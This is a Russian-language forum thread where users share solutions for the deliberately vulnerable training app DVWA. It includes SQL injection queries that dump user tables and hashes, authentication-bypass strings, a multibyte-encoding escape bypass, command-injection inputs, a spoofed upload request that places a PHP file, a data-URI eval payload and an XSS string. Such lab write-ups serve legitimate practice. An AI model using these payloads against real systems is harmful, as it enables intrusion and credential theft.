1. С Новым 2024 Годом!


    ПОЗДРАВИТЬ
    Dismiss Notice

Damn Vulnerable Web App. Тренировочная площадка.

Discussion in 'Уязвимости' started by b3, 16 Jul 2009.

  1. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,177
    Likes Received:
    1,152
    Reputations:
    202
    Это веб-приложение - тренировочная площадка для испытания и совершенствования своих навыков в поиске и использовании веб-уязвимостей.
    Имеет три уровня безопасности(сложности).
    Поддерживает следующие виды атак:
    *SQL Injection
    *XSS (Cross Site Scripting)
    *LFI (Local File Inclusion)
    *RFI (Remote File Inclusion)
    *Command Execution
    *Upload Script
    *Login Brute Force
    *и многие другие..

    Для использования необходим вебсервер + база данных MySQL
    Видео с наиподробнейшим описанием и инструкцией можно посмотреть здесь: http://www.youtube.com/watch?v=GzIj07jt8rM
    Подробности на оф.сайте: http://www.ethicalhack3r.co.uk/
    Скачать dvwa v1.0.4: dvwa v1.0.4: http://sourceforge.net/projects/dvwa
     
    6 people like this.
    1. YuNi|[c

      YuNi|[c Elder - Старейшина

      Joined:
      17 Sep 2006
      Messages:
      293
      Likes Received:
      33
      Reputations:
      18
      Если не ошибаюсь это поддельный вебсервер для поиска бага. Вот готовые тест сайты для пентеста и проверки своих навыков:
      SPI Dynamics (live) - http://zero.webappsecurity.com/
      Cenzic (live) - http://crackme.cenzic.com/
      Watchfire (live) - http://demo.testfire.net/
      Acunetix (live) - http://testphp.acunetix.com/ http://testasp.acunetix.com http://testaspnet.acunetix.com
      WebMaven / Buggy Bank - http://www.mavensecurity.com/webmaven
      Foundstone SASS tools - http://www.foundstone.com/us/resources-free-tools.asp
      Updated HackmeBank - http://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html
      OWASP WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project
      OWASP SiteGenerator - http://www.owasp.org/index.php/Owasp_SiteGenerator
      Stanford SecuriBench - http://suif.stanford.edu/~livshits/securibench/
      SecuriBench Micro - http://suif.stanford.edu/~livshits/work/securibench-micro/
       
      1. r00nix

        r00nix Banned

        Joined:
        7 May 2009
        Messages:
        48
        Likes Received:
        20
        Reputations:
        0
        ТС, ты бы еще сюда ссылки на игровые образы CTF выложил :) пусть народ потренируется
         
        1. mr.celt

          mr.celt Elder - Старейшина

          Joined:
          6 Feb 2008
          Messages:
          133
          Likes Received:
          16
          Reputations:
          12
          для тех кто пытался проходить...
          1) уровень "Low"->Brute force
          Code:
          $user=$_GET['username'];
          $pass=$_GET['password'];              
          $pass = md5($pass);
          $qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
          $result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
          
          Обошел так:
          логин: admin'#
          пароль: можно оставить пустым, так как уязвим только логин.
          Вопрос: почему не сработало admin'--+ (в качестве тренировочной площадки - денвер)

          уровень "Medium"->Brute force
          Code:
          $user = $_GET['username'];              
          $user = mysql_real_escape_string($user);
          $pass=$_GET['password'];
          $pass = mysql_real_escape_string($pass);
          $pass = md5($pass);
          $qry="SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
          $result=mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
          
          Опять же уязвимость в поле логин.
          Вопрос: реально ли обойти mysql_real_escape_string()? или здесь токо брутфорс поможет?
           
          1. Nik(rus)

            Nik(rus) Member

            Joined:
            19 Jun 2009
            Messages:
            45
            Likes Received:
            7
            Reputations:
            0
            It's easy
            В SQL-Inj на medium:

            Code:
            -1 UNION SELECT 1,2 /*
            1 и 2 подставляем как хотим, а вместо строк узаем HEX
             
            1. InFlame

              InFlame Banned

              Joined:
              27 Oct 2008
              Messages:
              207
              Likes Received:
              32
              Reputations:
              0
              Функция mysql_real_escape_string() экранирует кавычки, поэтому выполнить обход авторизации нельзя.
               
              1. mr.celt

                mr.celt Elder - Старейшина

                Joined:
                6 Feb 2008
                Messages:
                133
                Likes Received:
                16
                Reputations:
                12
                Че-то не понял тебя, ты этим хочешь обойти авторизацию? В post-инъекции?
                 
                1. ficrowns

                  ficrowns Member

                  Joined:
                  25 Mar 2009
                  Messages:
                  43
                  Likes Received:
                  5
                  Reputations:
                  4
                  кому интересно - существует ещё Damn Vulnerable Linux :)
                  damnvulnerablelinux.org
                   
                  1. b3

                    b3 Banned

                    Joined:
                    5 Dec 2004
                    Messages:
                    2,177
                    Likes Received:
                    1,152
                    Reputations:
                    202
                    Он просто не совсем полностью выложил скуль:
                    И получаем всех юзверов.

                    В Command Execution на Лов лвл, можно юзать дополнительно команды, разделяя их как в Линуксе так и в Винде амперсандами, пример:
                    На выходе получаем пинг, переход в диск Ц, и список файлов и папок. Ну а дальше от фантазии зависит.

                    ЗЫ Доступна версия 1.0.6, давайте не спим делимся опытом, кто что нашел интересного, я только начал.
                     
                    1. Nik(rus)

                      Nik(rus) Member

                      Joined:
                      19 Jun 2009
                      Messages:
                      45
                      Likes Received:
                      7
                      Reputations:
                      0
                      Вот как я ломал :)

                      1.Low SQL-Inj
                      Code:
                      -1' UNION SELECT concat_ws(0x3A,user(),version(),database()),'ololo sql :D'/*
                      Узнаем инфу, дальше:
                      Code:
                      -1' UNION SELECT table_name,'table' FROM information_schema.tables WHERE table_schema='dvwa'/*
                      Тут узнали таблицы, дальше:
                      Code:
                      -1' UNION SELECT column_name,'column' FROM information_schema.columns WHERE table_schema='dvwa'/*
                      Так узнаем колонки, и наконец:
                      Code:
                      -1' UNION SELECT concat_ws(0x3A,user_id,first_name,last_name,user,password,avatar),concat('info about ',first_name,' aka ',user) FROM users/*
                      Юзверята :D
                      2. Low Brute
                      Тут 2 пути:
                      1) Через скулю (это вооонтам наверху) достаем хэши, брутим на hashcracking,gdataonline, md5.rednoise etc, благо пароли слабые
                      2)
                      Code:
                      Логин: admin' /*
                      Пасс: ололо админ школота
                      Ну и угадайте что происходит :)
                      3. Low Command Execution
                      Code:
                      127.0.0.1 && dir C:\
                      Наблюдаем пинг 127.0.0.1 и листинг диска C:\
                      4. Low Upload
                      Code:
                      No comments aka тупо льем
                      5. Low File Inclusion
                      Code:
                      http://site/fi_content.php
                      => инклудит файлы из корня

                      Тут видно, что есть связка - LFI и Upload Vuln, берем сканер по хеадерам и сканим известные диры aka up, upload, uploads и находим uploads с прямым листингом :)
                      6. XSS
                      Code:
                      </pre><script>alert('xss :D')</script><pre>some HaCkEr
                      Видим тупую XSS
                      7. BONUS:
                      в медиум SQL-Inj:
                      Code:
                      -1 UNION SELECT concat_ws(0x3A,user(),version(),database()),2/*
                      Вот такие пироги :)

                      С последующими уровнями становится больше и больше фильтров, но как говорится на каждый замок - своя отмычка
                       
                      1. mr.celt

                        mr.celt Elder - Старейшина

                        Joined:
                        6 Feb 2008
                        Messages:
                        133
                        Likes Received:
                        16
                        Reputations:
                        12
                        Я так понял, данные вытаскиваете через SQL injection (это само собой). Я наверно не так задал вопрос: меня интересует можно ли обойти авторизацию при medium, НЕ ИСПОЛЬЗУЯ уязвимостей других разделов.
                         
                        1. krypt3r

                          krypt3r Elder - Старейшина

                          Joined:
                          27 Apr 2007
                          Messages:
                          1,507
                          Likes Received:
                          389
                          Reputations:
                          101
                          можно, заюзав многобайтные кодировки big5 сотоварищи
                           
                          1. mr.celt

                            mr.celt Elder - Старейшина

                            Joined:
                            6 Feb 2008
                            Messages:
                            133
                            Likes Received:
                            16
                            Reputations:
                            12
                            а разве mysql_real_escape_string() не учитывает кодировку?
                            вот статья от raz0ra на эту тему __http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
                             
                            1. krypt3r

                              krypt3r Elder - Старейшина

                              Joined:
                              27 Apr 2007
                              Messages:
                              1,507
                              Likes Received:
                              389
                              Reputations:
                              101
                              Проверьте сами. Если с кодировкой Big5 заюзать урл
                              http://127.0.0.1/dvwa/vulnerabilities/brute/?username=%a3%27+or+1=1+limit+1%23&password=111&Login=Login#
                              Получите мессагу Welcome to the password protected area
                               
                              1. The matrix

                                The matrix Elder - Старейшина

                                Joined:
                                9 Jul 2008
                                Messages:
                                93
                                Likes Received:
                                186
                                Reputations:
                                138
                                Посмотрел площадку. Ничего лишнего. сорец с табличной уязвимостью, которую и искать даже не надо. Лучше потратить время с большой пользой используя не тренировочную площадку, а боевую.
                                Все же поигрался в нее(В sql inj, file upload, LFI/RFI, comand exec). Вот что наигарал.
                                Начал с comand exec.
                                Задача сводится к тому, чтобы вспонить альтернативу рзделялке "&&" for win; ";" for linux
                                Проходил на винде.
                                LOW:
                                Code:
                                <?php
                                if (isset($_POST["submit"])) {
                                                $target = $_REQUEST["ip"];
                                        
                                                echo "<pre>";
                                                echo shell_exec("ping  " . $target);
                                                echo "</pre>";
                                                }
                                ?>
                                Решение
                                ip=127.0.0.1 && dir
                                MED
                                Code:
                                <?php
                                        if (isset($_POST["submit"])) {
                                                $target = $_REQUEST["ip"];
                                                        
                                                $target = str_replace("&&", "", $target);
                                                $target = str_replace(";", "", $target);
                                
                                                echo "<pre>";
                                                echo shell_exec("ping  " . $target);
                                                echo "</pre>";
                                                }
                                ?>
                                
                                Решение
                                Вместо && можно юзать &
                                ip=127.0.0.1 & dir
                                HIGH
                                Code:
                                <?php
                                if (isset($_POST["submit"])) {
                                                $target = $_REQUEST["ip"];
                                        
                                                $target = str_replace("&&", "", $target);
                                                $target = str_replace(";", "", $target);
                                                $target = str_replace("-", "", $target);
                                                $target = str_replace("?", "", $target);
                                                $target = str_replace("||", "", $target);
                                                $target = str_replace("|", "", $target);
                                                $target = stripslashes($target);
                                                
                                                if ($target == ""){}  
                                                else{   
                                                echo "<pre>";
                                                echo shell_exec("ping  " . $target);
                                                echo "</pre>";
                                                }
                                                }
                                ?>
                                Фильтр на & Нету. Т.Е решение то же самое что и для MED
                                Посмотрел еще upload
                                LOW
                                без комментов
                                MED
                                Code:
                                <?php
                                        if (isset($_POST['Upload'])) {
                                
                                                        $target_path = "uploads/";
                                                        $target_path = $target_path . basename($_FILES['uploaded']['name']); 
                                                        $uploaded_name = $_FILES['uploaded']['name'];
                                                        $uploaded_type = $_FILES['uploaded']['type'];
                                                        $uploaded_size = $_FILES['uploaded']['size'];
                                
                                                        if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
                                                                
                                
                                                                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                                                                        echo '<pre>Your image was not uploaded.</pre>';
                                                                } else {
                                                                        echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
                                                                        }       
                                                        }
                                                        else{
                                                                echo '<pre>Your image was not uploaded.</pre>';
                                                        }
                                                }
                                ?>
                                Скрипт требует чтобы
                                $_FILES['uploaded']['type'] был "image/jpeg".
                                Решение:
                                Не хитро обходится. Тайп можно сменить. Отправляем php-шный файл и сниффаем пакет. У меня получилось так.
                                Code:
                                POST /dvwa/upload.php HTTP/1.0
                                User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
                                Host: localhost
                                Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
                                Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                Referer: http://localhost/dvwa/upload.php
                                Cookie: security=medium
                                Cookie2: $Version=1
                                Proxy-Connection: close
                                Content-Type: multipart/form-data; boundary=----------Wq88LdnEt7BT8nll12ssLT
                                Content-Length: 397
                                
                                ------------Wq88LdnEt7BT8nll12ssLT
                                Content-Disposition: form-data; name="MAX_FILE_SIZE"
                                
                                100000
                                ------------Wq88LdnEt7BT8nll12ssLT
                                Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
                                Content-Type: application/octet-stream
                                
                                <? phpinfo(); ?>
                                ------------Wq88LdnEt7BT8nll12ssLT
                                Content-Disposition: form-data; name="Upload"
                                
                                Upload
                                ------------Wq88LdnEt7BT8nll12ssLT--
                                изменяем его следующим образом:
                                Code:
                                POST /dvwa/upload.php HTTP/1.0
                                User-Agent: Opera/9.22 (Windows NT 5.1; U; ru)
                                Host: localhost
                                Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                Accept-Language: ru,en;q=0.9,ru-RU;q=0.8
                                Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                Referer: http://localhost/dvwa/upload.php
                                Cookie: security=medium
                                Cookie2: $Version=1
                                Proxy-Connection: close
                                Content-Type: multipart/form-data; boundary=----------P6JvptCJ2eLEJPIrEFeNot
                                Content-Length: 397
                                
                                ------------P6JvptCJ2eLEJPIrEFeNot
                                Content-Disposition: form-data; name="MAX_FILE_SIZE"
                                
                                100000
                                ------------P6JvptCJ2eLEJPIrEFeNot
                                Content-Disposition: form-data; name="uploaded"; filename="fuck.php"
                                Content-Type: [B][COLOR=Red]image/jpeg[/COLOR][/B]
                                
                                <? phpinfo(); ?>
                                ------------P6JvptCJ2eLEJPIrEFeNot
                                Content-Disposition: form-data; name="Upload"
                                
                                Upload
                                ------------P6JvptCJ2eLEJPIrEFeNot--
                                Результат: fuck.php succesfully uploaded!

                                High
                                Code:
                                <?php
                                if (isset($_POST['Upload'])) {
                                
                                                        $target_path = "uploads/";
                                                        $target_path = $target_path . basename($_FILES['uploaded']['name']); 
                                                        $uploaded_name = $_FILES['uploaded']['name'];
                                                        $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
                                                        $uploaded_size = $_FILES['uploaded']['size'];
                                
                                                        if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
                                                                
                                
                                                                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                                                                        echo '<pre>Your image was not uploaded.</pre>';
                                                                } else {
                                                                        echo '<pre>' . $uploaded_name . ' succesfully uploaded! </pre>';
                                                                        }       
                                                        }
                                                        else{
                                                                echo '<pre>Your image was not uploaded.</pre>';
                                                        }
                                                }
                                
                                ?>
                                Не разобрался.
                                Еще пытался найти решение на sql inj
                                Code:
                                <?php   
                                        // Retrieve data
                                
                                        $id = $_GET['id'];
                                        $id = stripslashes($id);
                                        $id = mysql_real_escape_string($id);
                                
                                        if (is_numeric($id)){
                                
                                        $getid="SELECT first_name, last_name FROM users WHERE user_id = '$id'";
                                        $result=mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
                                
                                        $num=mysql_numrows($result);
                                
                                        $i=0;
                                
                                        while ($i < $num) {
                                
                                                $first=mysql_result($result,$i,"first_name");
                                                $last=mysql_result($result,$i,"last_name");
                                                
                                                echo "<pre>ID: $id<br>First name: $first<br>Surname: $last</pre>";
                                
                                                $i++;
                                        }
                                        }
                                ?>
                                Тоже не понял,как эту систему пройти. Если кто разберется, отпишите.
                                LFI/RFI не стал писать, там уж совсем просто.
                                 
                                #15 The matrix, 6 Jan 2010
                                Last edited: 6 Jan 2010
                                2 people like this.
                                1. alias6969

                                  alias6969 Member

                                  Joined:
                                  3 Apr 2011
                                  Messages:
                                  27
                                  Likes Received:
                                  11
                                  Reputations:
                                  6
                                  Напишу тут пару моментов, вдруг будет интересно.

                                  Файл-инклуд на med можно так:
                                  ?page=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo();

                                  XSS storaged на med - расширить уязвимое поле с именем и туда вставить js без тега <script>.

                                  Exec med так:
                                  127.0.x.1 || dir
                                  127.0.0.1 & dir

                                  Потому что admin' -- , это не адресная строка, чтобы пробел заменять +.
                                  На med не знаю, как сделать.

                                  CSRF med - реферер спуфинг.

                                  На high, на мой взгляд, там ничего не уязвимо.

                                  Ну и да, извините за раскопки.
                                   
                                  #16 alias6969, 10 Dec 2011
                                  Last edited: 10 Dec 2011
                                  1. Vladislav88

                                    Vladislav88 New Member

                                    Joined:
                                    5 Dec 2011
                                    Messages:
                                    40
                                    Likes Received:
                                    1
                                    Reputations:
                                    0
                                    Когда я в dvwa захожу с 5 разных юзеров то мне от всех приходят одинаковые куки. А я хотел бы попробовать как это подменять куки. Когда я меняю phpsesionid то я остаюсь под тем же юзером. В dvwa вообще возможно подменить куки?
                                     
                                    1. G.H.O.S.T.

                                      G.H.O.S.T. New Member

                                      Joined:
                                      18 Apr 2010
                                      Messages:
                                      3
                                      Likes Received:
                                      0
                                      Reputations:
                                      0
                                      Товарищи Хактивисты! А кто-нибудь прошёл SQL inj и XSS Restored на high? А то функция htmlspecialchars убивает все мои надежды в плане XSS(((
                                       
                                      1. M_script

                                        M_script Members of Antichat

                                        Joined:
                                        4 Nov 2004
                                        Messages:
                                        2,581
                                        Likes Received:
                                        1,317
                                        Reputations:
                                        1,557
                                        Выложи сюда код
                                         
                                        1. G.H.O.S.T.

                                          G.H.O.S.T. New Member

                                          Joined:
                                          18 Apr 2010
                                          Messages:
                                          3
                                          Likes Received:
                                          0
                                          Reputations:
                                          0
                                          XSS Reflected
                                          SQL Inj